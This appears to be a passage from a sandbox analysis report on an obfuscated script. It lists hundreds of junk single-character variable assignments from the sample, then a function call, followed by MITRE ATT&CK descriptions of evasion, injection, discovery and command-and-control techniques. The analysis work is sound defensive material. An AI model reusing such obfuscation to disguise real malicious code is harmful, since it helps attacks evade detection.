496	nzlachnnv = "E";
497	nzlachnnv = "P";
498	nzlachnnv = "i";
499	nzlachnnv = "D";
500	nzlachnnv = "Z";
501	nzlachnnv = "h";
502	nzlachnnv = "g";
503	nzlachnnv = "c";
504	nzlachnnv = "N";
505	nzlachnnv = "M";
506	nzlachnnv = "a";
507	nzlachnnv = "N";
508	nzlachnnv = "h";
509	nzlachnnv = "N";
510	nzlachnnv = "U";
511	nzlachnnv = "V";
512	nzlachnnv = "W";
513	nzlachnnv = "S";
514	nzlachnnv = "z";
515	nzlachnnv = "P";
516	nzlachnnv = "H";
517	nzlachnnv = "L";
518	yihdvc = "s";
519	yihdvc = "s";
520	yihdvc = "G";
521	yihdvc = "S";
522	yihdvc = "r";
523	yihdvc = "z";
524	yihdvc = "w";
525	yihdvc = "o";
526	yihdvc = "K";
527	yihdvc = "P";
528	yihdvc = "Y";
529	yihdvc = "B";
530	yihdvc = "l";
531	yihdvc = "I";
532	yihdvc = "V";
533	yihdvc = "n";
534	yihdvc = "A";
535	yihdvc = "h";
536	yihdvc = "v";
537	yihdvc = "C";
538	yihdvc = "l";
539	yihdvc = "x";
540	yihdvc = "t";
541	yihdvc = "A";
542	yihdvc = "J";
543	yihdvc = "S";
544	yihdvc = "S";
545	yihdvc = "T";
546	yihdvc = "v";
547	yihdvc = "K";
548	yihdvc = "U";
549	yihdvc = "h";
550	yihdvc = "D";
551	yihdvc = "V";
552	yihdvc = "k";
553	yihdvc = "W";
554	yihdvc = "o";
555	yihdvc = "A";
556	yihdvc = "S";
557	yihdvc = "Y";
558	yihdvc = "u";
559	yihdvc = "Y";
560	foczf = "T";
561	foczf = "n";
562	foczf = "A";
563	foczf = "e";
564	foczf = "F";
565	foczf = "Q";
566	foczf = "g";
567	foczf = "F";
568	foczf = "D";
569	foczf = "h";
570	foczf = "J";
571	foczf = "v";
572	foczf = "V";
573	foczf = "Y";
574	foczf = "l";
575	foczf = "p";
576	foczf = "w";
577	foczf = "z";
578	foczf = "c";
579	foczf = "e";
580	foczf = "S";
581	foczf = "N";
582	foczf = "y";
583	foczf = "n";
584	foczf = "n";
585	foczf = "A";
586	foczf = "C";
587	foczf = "v";
588	foczf = "T";
589	foczf = "O";
590	foczf = "m";
591	foczf = "e";
592	foczf = "c";
593	foczf = "m";
594	foczf = "N";
595	foczf = "h";
596	foczf = "E";
597	foczf = "R";
598	foczf = "k";
599	foczf = "x";
600	foczf = "t";
601	foczf = "E";
602	euqxawmt = "e";
603	euqxawmt = "H";
604	euqxawmt = "x";
605	euqxawmt = "W";
606	euqxawmt = "k";
607	euqxawmt = "c";
608	euqxawmt = "M";
609	euqxawmt = "Y";
610	euqxawmt = "j";
611	uveaaeli = "d";
612	uveaaeli = "w";
613	uveaaeli = "D";
614	uveaaeli = "B";
615	uveaaeli = "4";
616	iasncic = "g";
617	iasncic = "t";
618	iasncic = "s";
619	iasncic = "T";
620	iasncic = "b";
621	iasncic = "a";
622	iasncic = "N";
623	iasncic = "y";
624	iasncic = "J";
625	iasncic = "H";
626	iasncic = "Q";
627	iasncic = "L";
628	iasncic = "D";
629	iasncic = "g";
630	iasncic = "p";
631	iasncic = "u";
632	iasncic = "U";
633	iasncic = "b";
634	iasncic = "r";
635	iasncic = "i";
636	iasncic = "w";
637	iasncic = "K";
638	iasncic = "K";
639	iasncic = "b";
640	iasncic = "s";
641	iasncic = "w";
642	iasncic = "H";
643	iasncic = "Q";
644	iasncic = "m";
645	iasncic = "Q";
646	iasncic = "x";
647	iasncic = "n";
648	iasncic = "V";
649	iasncic = "x";
650	iasncic = "N";
651	ngmwihbj = "a";
652	ngmwihbj = "j";
653	ngmwihbj = "r";
654	ngmwihbj = "T";
655	ngmwihbj = "h";
656	ngmwihbj = "O";
657	ngmwihbj = "c";
658	ngmwihbj = "L";
659	ngmwihbj = "I";
660	ngmwihbj = "N";
661	ngmwihbj = "l";
662	ngmwihbj = "N";
663	ngmwihbj = "x";
664	ngmwihbj = "F";
665	ngmwihbj = "a";
666	ngmwihbj = "u";
667	ngmwihbj = "o";
668	ngmwihbj = "L";
669	ngmwihbj = "X";
670	ngmwihbj = "z";
671	ngmwihbj = "N";
672	ngmwihbj = "l";
673	ngmwihbj = "h";
674	ngmwihbj = "U";
675	ngmwihbj = "Q";
676	ngmwihbj = "b";
677	ngmwihbj = "Y";
678	ngmwihbj = "B";
679	ngmwihbj = "g";
680	ngmwihbj = "I";
681	ngmwihbj = "N";
682	ngmwihbj = "e";
683	ngmwihbj = "b";
684	ngmwihbj = "d";
685	ngmwihbj = "y";
686	ngmwihbj = "Z";
687	ngmwihbj = "S";
688	ngmwihbj = "Z";
689	ngmwihbj = "r";
690	ngmwihbj = "m";
691	ngmwihbj = "j";
692	ngmwihbj = "m";
693	ngmwihbj = "X";
694	ngmwihbj = "9";
695	zuzrjchfy = "N";
696	zuzrjchfy = "N";
697	zuzrjchfy = "z";
698	zuzrjchfy = "B";
699	zuzrjchfy = "N";
700	zuzrjchfy = "c";
701	zuzrjchfy = "k";
702	zuzrjchfy = "A";
703	zuzrjchfy = "i";
704	zuzrjchfy = "n";
705	zuzrjchfy = "t";
706	zuzrjchfy = "M";
707	zuzrjchfy = "H";
708	zuzrjchfy = "j";
709	zuzrjchfy = "z";
710	zuzrjchfy = "d";
711	zuzrjchfy = "M";
712	zuzrjchfy = "z";
713	zuzrjchfy = "Y";
714	zuzrjchfy = "u";
715	zuzrjchfy = "v";
716	zuzrjchfy = "S";
717	nusuo = "m";
718	nusuo = "K";
719	nusuo = "a";
720	nusuo = "L";
721	nusuo = "N";
722	nusuo = "n";
723	nusuo = "d";
724	nusuo = "r";
725	nusuo = "a";
726	nusuo = "Q";
727	nusuo = "D";
728	nusuo = "L";
729	nusuo = "F";
730	nusuo = "W";
731	nusuo = "V";
732	nusuo = "Q";
733	nusuo = "M";
734	nusuo = "G";
735	nusuo = "E";
736	nusuo = "u";
737	nusuo = "U";
738	nusuo = "E";
739	nusuo = "S";
740	nusuo = "h";
741	nusuo = "q";
742	nusuo = "m";
743	nusuo = "z";
744	nusuo = "Q";
745	nusuo = "w";
746	nusuo = "Y";
747	nusuo = "%";
748	shfuc = "O";
749	shfuc = "m";
750	shfuc = "L";
751	shfuc = "a";
752	shfuc = "n";
753	shfuc = "e";
754	shfuc = "a";
755	shfuc = "e";
756	shfuc = "o";
757	shfuc = "O";
758	shfuc = "K";
759	shfuc = "y";
760	shfuc = "j";
761	shfuc = "P";
762	shfuc = "l";
763	shfuc = "F";
764	shfuc = "Y";
765	shfuc = "i";
766	shfuc = "C";
767	shfuc = "T";
768	shfuc = "V";
769	shfuc = "e";
770	shfuc = "p";
771	shfuc = "h";
772	mkjza = "L";
773	mkjza = "Z";
774	mkjza = "l";
775	mkjza = "X";
776	mkjza = "i";
777	mkjza = "p";
778	mkjza = "J";
779	mkjza = "f";
780	mkjza = "s";
781	mkjza = "P";
782	mkjza = "p";
783	mkjza = "X";
784	mkjza = "C";
785	mkjza = "z";
786	mkjza = "r";
787	mkjza = "A";
788	mkjza = "K";
789	mkjza = "g";
790	mkjza = "N";
791	mkjza = "y";
792	mkjza = "v";
793	mkjza = "c";
794	mkjza = "r";
795	mkjza = "n";
796	mkjza = "B";
797	mkjza = "f";
798	mkjza = "F";
799	mkjza = "h";
800	mkjza = "y";
801	mkjza = "E";
802	mkjza = "g";
803	tjdlfevoo = "W";
804	tjdlfevoo = "i";
805	tjdlfevoo = "i";
806	tjdlfevoo = "G";
807	tjdlfevoo = "y";
808	tjdlfevoo = "K";
809	tjdlfevoo = "D";
810	tjdlfevoo = ".";
811	chzgmi = "w";
812	yanrec = "D";
813	yanrec = "z";
814	yanrec = "G";
815	yanrec = "i";
816	yanrec = "M";
817	yanrec = "P";
818	yanrec = "P";
819	yanrec = "y";
820	yanrec = "C";
821	lqpokpdlx = "z";
822	lqpokpdlx = "L";
823	lqpokpdlx = "p";
824	lqpokpdlx = "H";
825	lqpokpdlx = "W";
826	lqpokpdlx = "j";
827	lqpokpdlx = "K";
828	lqpokpdlx = "Y";
829	lqpokpdlx = "u";
830	lqpokpdlx = "A";
831	lqpokpdlx = "B";
832	lqpokpdlx = "U";
833	lqpokpdlx = "i";
834	lqpokpdlx = "R";
835	lqpokpdlx = "U";
836	lqpokpdlx = "H";
837	mijezlgof = "E";
838	mijezlgof = "H";
839	mijezlgof = "U";
840	mijezlgof = "s";
841	mijezlgof = "H";
842	mijezlgof = "c";
843	mijezlgof = "a";
844	mijezlgof = "F";
845	mijezlgof = "e";
846	mijezlgof = "n";
847	mijezlgof = "i";
848	mijezlgof = "a";
849	mijezlgof = "N";
850	mijezlgof = "D";
851	mijezlgof = "q";
852	mijezlgof = "f";
853	avwkbxvzv = "T";
854	avwkbxvzv = "R";
855	avwkbxvzv = "N";
856	avwkbxvzv = "z";
857	avwkbxvzv = "P";
858	avwkbxvzv = "A";
859	avwkbxvzv = "P";
860	avwkbxvzv = "c";
861	avwkbxvzv = "n";
862	avwkbxvzv = "g";
863	avwkbxvzv = "h";
864	avwkbxvzv = "Y";
865	avwkbxvzv = "A";
866	avwkbxvzv = "l";
867	avwkbxvzv = "o";
868	avwkbxvzv = "x";
869	avwkbxvzv = "Z";
870	avwkbxvzv = "a";
871	avwkbxvzv = "K";
872	avwkbxvzv = "t";
873	avwkbxvzv = "l";
874	avwkbxvzv = "v";
875	avwkbxvzv = "M";
876	avwkbxvzv = "X";
877	avwkbxvzv = "e";
878	avwkbxvzv = "N";
879	avwkbxvzv = "j";
880	avwkbxvzv = "j";
881	avwkbxvzv = "n";
882	avwkbxvzv = "V";
883	avwkbxvzv = "W";
884	avwkbxvzv = "u";
885	avwkbxvzv = "d";
886	avwkbxvzv = "L";
887	avwkbxvzv = "a";
888	avwkbxvzv = "P";
889	avwkbxvzv = "h";
890	avwkbxvzv = "W";
891	avwkbxvzv = "u";
892	qdhabqy = "R";
893	qdhabqy = "i";
894	qdhabqy = "G";
895	qdhabqy = "l";
896	qdhabqy = "R";
897	qdhabqy = "N";
898	qdhabqy = "O";
899	qdhabqy = "h";
900	qdhabqy = "U";
901	qdhabqy = "f";
902	qdhabqy = "K";
903	qdhabqy = "S";
904	qdhabqy = "q";
905	qdhabqy = "j";
906	qdhabqy = "A";
907	qdhabqy = "z";
908	qdhabqy = "R";
909	qdhabqy = "c";
910	qdhabqy = "J";
911	qdhabqy = "Z";
912	qdhabqy = "l";
913	qdhabqy = "v";
914	qdhabqy = "F";
915	qdhabqy = "q";
916	qdhabqy = "l";
917	qdhabqy = "Z";
918	qdhabqy = "e";
919	qdhabqy = "a";
920	qdhabqy = "O";
921	qdhabqy = "B";
922	qdhabqy = "B";
923	qdhabqy = "r";
924	qdhabqy = "I";
925	qdhabqy = "g";
926	qdhabqy = "A";
927	qdhabqy = "r";
928	qdhabqy = "r";
929	qdhabqy = "E";
930	qdhabqy = "S";
931	qdhabqy = "p";
932	qdhabqy = "K";
933	qdhabqy = "t";
934	qdhabqy = "u";
935	qdhabqy = "K";
936	qdhabqy = "k";
937	byhydgzuv = "i";
938	byhydgzuv = "n";
939	byhydgzuv = "W";
940	byhydgzuv = "Y";
941	byhydgzuv = "s";
942	byhydgzuv = "y";
943	byhydgzuv = "y";
944	byhydgzuv = "b";
945	byhydgzuv = "R";
946	byhydgzuv = "a";
947	byhydgzuv = "l";
948	byhydgzuv = "K";
949	eiisaeu = "y";
950	eiisaeu = "R";
951	eiisaeu = "M";
952	eiisaeu = "H";
953	eiisaeu = "N";
954	eiisaeu = "H";
955	eiisaeu = "Q";
956	eiisaeu = "d";
957	eiisaeu = "h";
958	eiisaeu = "A";
959	eiisaeu = "x";
960	eiisaeu = "M";
961	eiisaeu = "t";
962	eiisaeu = "m";
963	eiisaeu = "w";
964	eiisaeu = "O";
965	eiisaeu = "Y";
966	eiisaeu = "F";
967	eiisaeu = "m";
968	eiisaeu = "r";
969	eiisaeu = "a";
970	eiisaeu = "q";
971	eiisaeu = "h";
972	eiisaeu = "g";
973	eiisaeu = "j";
974	eiisaeu = "R";
975	eiisaeu = "r";
976	eiisaeu = "h";
977	eiisaeu = "X";
978	eiisaeu = "o";
979	ykazawyfz = "j";
980	ykazawyfz = "y";
981	ykazawyfz = "d";
982	ykazawyfz = "B";
983	ykazawyfz = "I";
984	ykazawyfz = "c";
985	ykazawyfz = "u";
986	ykazawyfz = "o";
987	ykazawyfz = "n";
988	ykazawyfz = "W";
989	ykazawyfz = "i";
990	ykazawyfz = "c";
991	ykazawyfz = "U";
992	ykazawyfz = "t";
993	ykazawyfz = "z";
994	ykazawyfz = "g";
995	ykazawyfz = "X";
996	ykazawyfz = "R";
997	ykazawyfz = "e";
998	ykazawyfz = "P";
999	ykazawyfz = "l";
1000	zpnicew = "L";
1001	zpnicew = "I";
1002	esgkyjge = "j";
1003	esgkyjge = "j";
1004	esgkyjge = "O";
1005	rkfxmjzj = "O";
1006	rkfxmjzj = "E";
1007	rkfxmjzj = "B";
1008	rkfxmjzj = "O";
1009	rkfxmjzj = "w";
1010	rkfxmjzj = "d";
1011	rkfxmjzj = "S";
1012	rkfxmjzj = "C";
1013	rkfxmjzj = "Z";
1014	rkfxmjzj = "d";
1015	rkfxmjzj = "E";
1016	rkfxmjzj = "I";
1017	rkfxmjzj = "I";
1018	rkfxmjzj = "u";
1019	rkfxmjzj = "H";
1020	rkfxmjzj = "K";
1021	rkfxmjzj = "M";
1022	rkfxmjzj = "k";
1023	rkfxmjzj = "W";
1024	rkfxmjzj = "O";
1025	rkfxmjzj = "V";
1026	rkfxmjzj = "&";
1027	vyucvsobn = "y";
1028	vyucvsobn = "o";
1029	vyucvsobn = "V";
1030	vyucvsobn = "P";
1031	vyucvsobn = "F";
1032	vyucvsobn = "C";
1033	vyucvsobn = "y";
1034	vyucvsobn = "L";
1035	vyucvsobn = "I";
1036	vyucvsobn = "r";
1037	vyucvsobn = "t";
1038	vyucvsobn = "e";
1039	vyucvsobn = "K";
1040	vyucvsobn = "D";
1041	vyucvsobn = "R";
1042	vyucvsobn = "j";
1043	vyucvsobn = "n";
1044	vyucvsobn = "K";
1045	vyucvsobn = "z";
1046	vyucvsobn = "e";
1047	vyucvsobn = "k";
1048	vyucvsobn = "o";
1049	vyucvsobn = "J";
1050	vyucvsobn = "r";
1051	vyucvsobn = "B";
1052	vyucvsobn = "U";
1053	vyucvsobn = "L";
1054	vyucvsobn = "k";
1055	vyucvsobn = "j";
1056	vyucvsobn = "F";
1057	vyucvsobn = "i";
1058	vyucvsobn = "f";
1059	vyucvsobn = "C";
1060	vyucvsobn = "d";
1061	vyucvsobn = "p";
1062	vyucvsobn = "t";
1063	vyucvsobn = "L";
1064	vyucvsobn = "S";
1065	vyucvsobn = "d";
1066	vyucvsobn = "H";
1067	vyucvsobn = "B";
1068	vyucvsobn = "C";
1069	vyucvsobn = "8";
1070	qhrrl = "y";
1071	qhrrl = "w";
1072	qhrrl = "u";
1073	qhrrl = "O";
1074	qhrrl = "t";
1075	qhrrl = "V";
1076	qhrrl = "P";
1077	qhrrl = "E";
1078	qhrrl = "u";
1079	qhrrl = "n";
1080	qhrrl = "h";
1081	qhrrl = "n";
1082	qhrrl = "u";
1083	qhrrl = "c";
1084	qhrrl = "l";
1085	qhrrl = "D";
1086	qhrrl = "u";
1087	qhrrl = "S";
1088	qhrrl = "t";
1089	qhrrl = "m";
1090	qhrrl = "E";
1091	qhrrl = "m";
1092	afvvxr = "p";
1093	afvvxr = "A";
1094	afvvxr = "t";
1095	afvvxr = "i";
1096	afvvxr = "J";
1097	afvvxr = "y";
1098	afvvxr = "B";
1099	afvvxr = "R";
1100	afvvxr = "t";
1101	afvvxr = "i";
1102	afvvxr = "l";
1103	afvvxr = "g";
1104	afvvxr = "y";
1105	afvvxr = "z";
1106	afvvxr = "l";
1107	afvvxr = "V";
1108	afvvxr = "Q";
1109	afvvxr = "N";
1110	afvvxr = "d";
1111	afvvxr = "l";
1112	afvvxr = "J";
1113	afvvxr = "E";
1114	afvvxr = "N";
1115	afvvxr = "d";
1116	afvvxr = "W";
1117	zpqgp = "i";
1118	zpqgp = "5";
1119	sbbcikye = "e";
1120	sbbcikye = "V";
1121	sbbcikye = "V";
1122	sbbcikye = "i";
1123	sbbcikye = "s";
1124	sbbcikye = "f";
1125	sbbcikye = "I";
1126	sbbcikye = "z";
1127	sbbcikye = "z";
1128	sbbcikye = "S";
1129	sbbcikye = "R";
1130	sbbcikye = "T";
1131	sbbcikye = "v";
1132	sbbcikye = "F";
1133	sbbcikye = "z";
1134	sbbcikye = "A";
1135	sbbcikye = "Z";
1136	sbbcikye = "T";
1137	sbbcikye = "n";
1138	sbbcikye = "M";
1139	sbbcikye = "g";
1140	sbbcikye = "l";
1141	sbbcikye = "u";
1142	sbbcikye = "F";
1143	sbbcikye = "G";
1144	sbbcikye = "g";
1145	sbbcikye = "N";
1146	sbbcikye = "i";
1147	sbbcikye = "R";
1148	sbbcikye = "I";
1149	sbbcikye = "r";
1150	sbbcikye = "w";
1151	sbbcikye = "P";
1152	ntefmst = "s";
1153	ntefmst = "L";
1154	ntefmst = "L";
1155	ntefmst = "x";
1156	ntefmst = "M";
1157	ntefmst = "E";
1158	ntefmst = "t";
1159	ntefmst = "d";
1160	ntefmst = "k";
1161	ntefmst = "I";
1162	ntefmst = "G";
1163	ntefmst = "i";
1164	ntefmst = "L";
1165	ntefmst = "k";
1166	ntefmst = "S";
1167	ntefmst = "c";
1168	ntefmst = "L";
1169	ntefmst = "x";
1170	ntefmst = "j";
1171	ntefmst = "R";
1172	ntefmst = "b";
1173	ntefmst = "R";
1174	ntefmst = "c";
1175	ntefmst = "y";
1176	ntefmst = "z";
1177	ntefmst = "Q";
1178	ntefmst = "s";
1179	unumb = "c";
1180	unumb = "Z";
1181	unumb = "j";
1182	unumb = "p";
1183	unumb = "g";
1184	unumb = "q";
1185	unumb = "P";
1186	unumb = "n";
1187	unumb = "m";
1188	unumb = "f";
1189	unumb = "Y";
1190	unumb = "i";
1191	unumb = "H";
1192	unumb = "H";
1193	unumb = "j";
1194	unumb = "t";
1195	unumb = "R";
1196	unumb = "q";
1197	unumb = "M";
1198	unumb = "p";
1199	oarpg = "P";
1200	oarpg = "G";
1201	oarpg = "L";
1202	oarpg = "P";
1203	oarpg = "q";
1204	oarpg = "S";
1205	oarpg = "G";
1206	oarpg = "p";
1207	oarpg = "C";
1208	oarpg = "v";
1209	oarpg = "i";
1210	qwmktbav = "V";
1211	qwmktbav = "v";
1212	ajxxc = "t";
1213	ajxxc = "l";
1214	ajxxc = "c";
1215	ajxxc = "f";
1216	ajxxc = "B";
1217	ajxxc = "W";
1218	ajxxc = "X";
1219	ajxxc = "H";
1220	ajxxc = "o";
1221	ajxxc = "C";
1222	ajxxc = "v";
1223	ajxxc = "D";
1224	ajxxc = "q";
1225	ajxxc = "N";
1226	ajxxc = "w";
1227	ajxxc = "o";
1228	ajxxc = "x";
1229	ajxxc = "g";
1230	ajxxc = "s";
1231	ajxxc = "Q";
1232	ajxxc = "B";
1233	ajxxc = "b";
1234	ajxxc = "b";
1235	ajxxc = "T";
1236	ajxxc = "W";
1237	ajxxc = "r";
1238	ajxxc = "h";
1239	ajxxc = "N";
1240	ajxxc = "t";
1241	ajxxc = "a";
1242	ajxxc = "M";
1243	ajxxc = "z";
1244	ajxxc = "H";
1245	ajxxc = "J";
1246	ajxxc = "O";
1247	ajxxc = "L";
1248	ajxxc = "q";
1249	ajxxc = "L";
1250	ajxxc = "p";
1251	ajxxc = "T";
1252	ajxxc = "W";
1253	ajxxc = "r";
1254	xtmvhww = "Z";
1255	xtmvhww = "/";
1256	klwdjo = "f";
1257	klwdjo = "b";
1258	klwdjo = "j";
1259	klwdjo = "g";
1260	klwdjo = "M";
1261	klwdjo = "Q";
1262	klwdjo = "z";
1263	klwdjo = "n";
1264	klwdjo = "J";
1265	klwdjo = "Q";
1266	klwdjo = "C";
1267	klwdjo = "o";
1268	klwdjo = "h";
1269	klwdjo = "s";
1270	klwdjo = "L";
1271	klwdjo = "C";
1272	klwdjo = "j";
1273	klwdjo = "A";
1274	klwdjo = "X";
1275	klwdjo = "z";
1276	klwdjo = "7";
1277	elfdiuu = "r";
1278	elfdiuu = "b";
1279	larosbner = "M";
1280	larosbner = "n";
1281	larosbner = "s";
1282	larosbner = "C";
1283	larosbner = "G";
1284	larosbner = "M";
1285	larosbner = "u";
1286	larosbner = "A";
1287	larosbner = "R";
1288	larosbner = "t";
1289	larosbner = "K";
1290	larosbner = "m";
1291	larosbner = "H";
1292	larosbner = "r";
1293	larosbner = "G";
1294	larosbner = "b";
1295	larosbner = "I";
1296	larosbner = "L";
1297	larosbner = "w";
1298	larosbner = "0";
1299	davgtl = "l";
1300	davgtl = "F";
1301	davgtl = "m";
1302	davgtl = "D";
1303	davgtl = "T";
1304	davgtl = "e";
1305	davgtl = "T";
1306	xbdugah = "I";
1307	xbdugah = "i";
1308	xbdugah = "c";
1309	xbdugah = "o";
1310	xbdugah = ":";
1311	uvbptzvy ( );	uvbptzvy() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

